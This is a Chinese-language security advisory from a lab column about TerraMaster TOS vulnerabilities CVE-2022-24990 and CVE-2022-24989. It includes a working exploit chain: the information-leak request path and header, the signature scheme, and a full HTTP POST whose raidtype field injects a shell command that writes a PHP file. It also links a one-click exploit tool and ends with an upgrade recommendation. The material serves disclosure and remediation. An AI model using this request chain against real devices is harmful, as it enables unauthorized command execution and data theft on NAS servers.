古語有(yǒu)雲：“學如逆水(shuǐ)行(xíng)舟，不進則退。”面對如今随時(shí)都在變化的網絡安全環境更是如此。為(wèi)此，創信華通(tōng)微信公衆号特開(kāi)設“創安實驗室專欄”，以記錄創信華通(tōng)創安實驗室在技(jì)術(shù)上(shàng)的探索，加強同行(xíng)間(jiān)的交流，相互學習，共同進步。

✦+

TerraMaster TOS 存在信息洩漏漏洞，攻擊者通(tōng)過漏洞可(kě)以獲取服務器(qì)上(shàng)的敏感信息，配合 CVE-2022-24989漏洞可(kě)以獲取服務器(qì)權限

TerraMaster TOS < 4.2.31

CVE-2022-24990、CVE-2022-24989

嚴重

目前外界Exp/PoC已公開(kāi)，創安實驗室已驗證該漏洞的可(kě)利用性：

數(shù)據包中隻需要添加 User-Agent: TNAS, 可(kě)以訪問到敏感信息

poc: /module/api.php?mobile/webNasIPS

利用信息洩露的 PWD和(hé)mac地址，我們就可(kě)以利用這個(gè)命令執行(xíng)漏洞了

在發送請(qǐng)求包寫入 php惡意文件

其中md5(mac地址後三字節 + 當前時(shí)間(jiān)戳) = $_SERVER['HTTP_SIGNATURE']

POST /module/api.php?mobile/createRaid HTTP/1.1

Host:

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: deflate

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6

Authorization: PWD

Cache-Control: max-age=0

Content-Length: 82

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=; tos_visit_time=時(shí)間(jiān)戳

Signature: sign

Timestamp: 時(shí)間(jiān)戳

Upgrade-Insecure-Requests: 1

User-Agent: TNAS

raidtype=%3Becho+%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3Evuln1.php&diskstring=XXXX

這裏利用https://github.com/lishang520/CVE-2022-24990進行(xíng)一鍵獲取和(hé)上(shàng)傳

升級到安全版本

創安實驗室